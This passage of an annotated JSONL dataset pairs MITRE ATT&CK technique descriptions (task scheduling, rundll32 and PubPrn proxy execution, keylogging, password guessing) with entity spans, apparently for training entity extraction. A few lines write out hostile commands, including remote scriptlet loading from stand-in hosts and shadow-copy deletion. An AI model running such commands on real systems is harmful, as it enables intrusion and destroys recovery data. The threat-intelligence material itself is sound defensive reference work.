[112, 124]], "ORGANIZATION: Microsoft": [[55, 64]], "SYSTEM: Windows": [[65, 72]], "SYSTEM: macOS": [[85, 90]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1209"}} {"text": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.", "spans": {"TOOL: PsExec": [[0, 6]], "ORGANIZATION: Microsoft": [[17, 26]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0029"}} {"text": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. \n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[303, 310]], "SYSTEM: API": [[760, 763], [1403, 1406]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.011"}} {"text": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.", "spans": {"SYSTEM: Windows": [[26, 33], [186, 193], [430, 437], [499, 506], [779, 786], [885, 892], [1141, 1148]], "SYSTEM: Task Scheduler": [[34, 48], [168, 182], [264, 278], [438, 452], [787, 801], [893, 907], [1149, 1163], [1478, 1492]], "TOOL: schtasks": [[199, 207], [1453, 1461]], "SYSTEM: .NET": [[409, 413]], "SYSTEM: Windows Management Instrumentation": [[528, 562]], "TOOL: WMI": [[564, 567], [684, 687]], "TOOL: at": [[822, 824]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1053.005"}} {"text": "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.", "spans": {"TOOL: ping": [[831, 835]], "SYSTEM: Unix": [[1003, 1007]], "SYSTEM: Windows": [[1053, 1060]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1205.002"}} {"text": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging). xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.", "spans": {"TOOL: tar": [[389, 392]], "SYSTEM: Linux": [[403, 408]], "SYSTEM: macOS": [[413, 418]], "SYSTEM: Windows": [[442, 449], [464, 471], [725, 732]], "TOOL: certutil": [[825, 833]], "TOOL: 7-Zip": [[945, 950]], "TOOL: WinRAR": [[952, 958]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1560.001"}} {"text": "Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.\n\nVNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.", "spans": {"TOOL: VNC": [[97, 100], [104, 107], [340, 343], [384, 387], [466, 469], [560, 563], [588, 591], [744, 747], [876, 879]], "TOOL: Remote Desktop Protocol": [[357, 380]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1021.005"}} {"text": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems. WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model and Windows Remote Management. Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. \n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads. For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., Inhibit System Recovery).\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by PowerShell as the primary WMI interface. In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.", "spans": {"SYSTEM: Windows Management Instrumentation": [[22, 56]], "TOOL: WMI": [[58, 61], [107, 110], [220, 223], [331, 334], [514, 517], [561, 564], [659, 662], [1226, 1229], [1358, 1361]], "SYSTEM: Windows": [[203, 210], [299, 306], [1167, 1174]], "SYSTEM: Component Object Model": [[453, 475]], "TOOL: Windows Remote Management": [[480, 505]], "SYSTEM: DCOM": [[523, 527]], "TOOL: WinRM": [[570, 575]], "SYSTEM: HTTP": [[611, 615]], "SYSTEM: HTTPS": [[629, 634]], "TOOL: wmic": [[862, 866], [944, 948], [1017, 1021]], "SYSTEM: Windows 11": [[1117, 1127]], "TOOL: PowerShell": [[1200, 1210], [1256, 1266]], "SYSTEM: COM": [[1298, 1301]], "SYSTEM: .NET": [[1371, 1375]], "SYSTEM: VBScript": [[1377, 1385]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1047"}} {"text": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.", "spans": {"SYSTEM: API": [[313, 316]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1113"}} {"text": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository. Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk..\n\nSimilar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.", "spans": {"SYSTEM: Windows": [[219, 226]], "SYSTEM: Windows Registry": [[247, 263]], "TOOL: WMI": [[280, 283], [1478, 1481]], "SYSTEM: Linux": [[325, 330], [965, 970]], "FILEPATH: /dev/shm`": [[341, 350]], "FILEPATH: /run/shm`": [[353, 362]], "FILEPATH: /var/run`": [[365, 374]], "FILEPATH: /var/lock`)": [[381, 392]], "FILEPATH: %SystemRoot%": [[1490, 1502], [1550, 1562]], "SYSTEM: Registry": [[1533, 1541]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.011"}} {"text": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "spans": {"TOOL: at": [[51, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1037"}} {"text": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service.", "spans": {"SYSTEM: Access": [[270, 276], [904, 910]], "SYSTEM: DNS": [[388, 391], [603, 606], [789, 792]], "SYSTEM: SSL": [[1127, 1130]], "SYSTEM: TLS": [[1131, 1134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1557"}} {"text": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.\n\nOn network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.", "spans": {"TOOL: whoami": [[838, 844]], "SYSTEM: macOS": [[856, 861], [965, 970]], "SYSTEM: Linux": [[866, 871]], "FILEPATH: %USERNAME%": [[1111, 1121]], "TOOL: ssh": [[1278, 1281]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1033"}} {"text": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.", "spans": {"TOOL: at": [[377, 379]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583"}} {"text": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks.\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.", "spans": {"TOOL: Rundll32": [[300, 308], [421, 429], [719, 727], [734, 742]], "SYSTEM: JavaScript": [[787, 797]], "SYSTEM: Windows": [[1473, 1480]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.011"}} {"text": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs. In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.", "spans": {"SYSTEM: Kubernetes": [[303, 313], [361, 371]], "SYSTEM: Docker": [[350, 356], [381, 387]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1613"}} {"text": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.", "spans": {"ORGANIZATION: Cloudflare": [[80, 90]], "SYSTEM: AWS": [[100, 103]], "SYSTEM: Lambda": [[104, 110]], "ORGANIZATION: Google": [[125, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1583.007"}} {"text": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1132.001"}} {"text": "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets. \n\nAdversaries may embed payloads in various file formats to hide payloads. This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats. \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary. Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format. \n\nEmbedded content may also be used as Process Injection payloads used to infect benign system processes. These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.009"}} {"text": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.", "spans": {"FILEPATH: /etc/passwd": [[414, 425]], "FILEPATH: /etc/shadow": [[443, 454]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.003"}} {"text": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578.004"}} {"text": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.", "spans": {"SYSTEM: HTTP": [[1123, 1127]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1592"}} {"text": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {"SYSTEM: HTTPS": [[317, 322]], "SYSTEM: SSL": [[323, 326]], "SYSTEM: TLS": [[327, 330]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1596.003"}} {"text": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.", "spans": {"SYSTEM: API": [[699, 702], [763, 766], [799, 802]], "SYSTEM: Windows Registry": [[910, 926]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1056.001"}} {"text": "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use Security Software Discovery and other Discovery/Reconnaissance activities to both discover and verify existing exclusions in a victim environment.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.012"}} {"text": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files. File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Unix Shell Configuration Modification or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.", "spans": {"SYSTEM: Linux": [[451, 456], [461, 466]], "TOOL: chown": [[816, 821]], "TOOL: chmod": [[865, 870]], "SYSTEM: Unix": [[1221, 1225]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1222.002"}} {"text": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. \n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.. Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "spans": {"SYSTEM: SSH": [[949, 952]], "TOOL: Telnet": [[964, 970]], "TOOL: FTP": [[982, 985]], "SYSTEM: SMB": [[1007, 1010], [1760, 1763]], "SYSTEM: Samba": [[1013, 1018]], "SYSTEM: LDAP": [[1041, 1045], [1683, 1687]], "SYSTEM: Kerberos": [[1058, 1066], [1692, 1700]], "TOOL: RDP": [[1078, 1081]], "SYSTEM: HTTP": [[1115, 1119], [1120, 1124]], "SYSTEM: Oracle": [[1185, 1191]], "SYSTEM: MySQL": [[1205, 1210]], "TOOL: VNC": [[1224, 1227]], "SYSTEM: SNMP": [[1241, 1245]], "SYSTEM: Office 365": [[1487, 1497]], "SYSTEM: Windows": [[1779, 1786]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110.001"}} {"text": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", "spans": {"SYSTEM: Visual Basic": [[89, 101]], "SYSTEM: Active Directory": [[137, 153]], "ORGANIZATION: Microsoft": [[199, 208]], "SYSTEM: Windows": [[246, 253], [936, 943]], "SYSTEM: LDAP": [[409, 413], [1123, 1127]], "IP_ADDRESS: 127.0.0.1": [[713, 722]], "URL: https://mydomain.com/folder/file.sct": [[730, 766]], "SYSTEM: HTTP": [[1226, 1230]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1216.001"}} {"text": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1597.002"}} {"text": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003"}} {"text": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows Native API which is called from functions like `LoadLibrary` at run time.", "spans": {"SYSTEM: API": [[223, 226]], "SYSTEM: Native API": [[244, 254], [1042, 1052]], "SYSTEM: Linux": [[573, 578]], "SYSTEM: macOS": [[581, 586], [757, 762]], "SYSTEM: Windows": [[830, 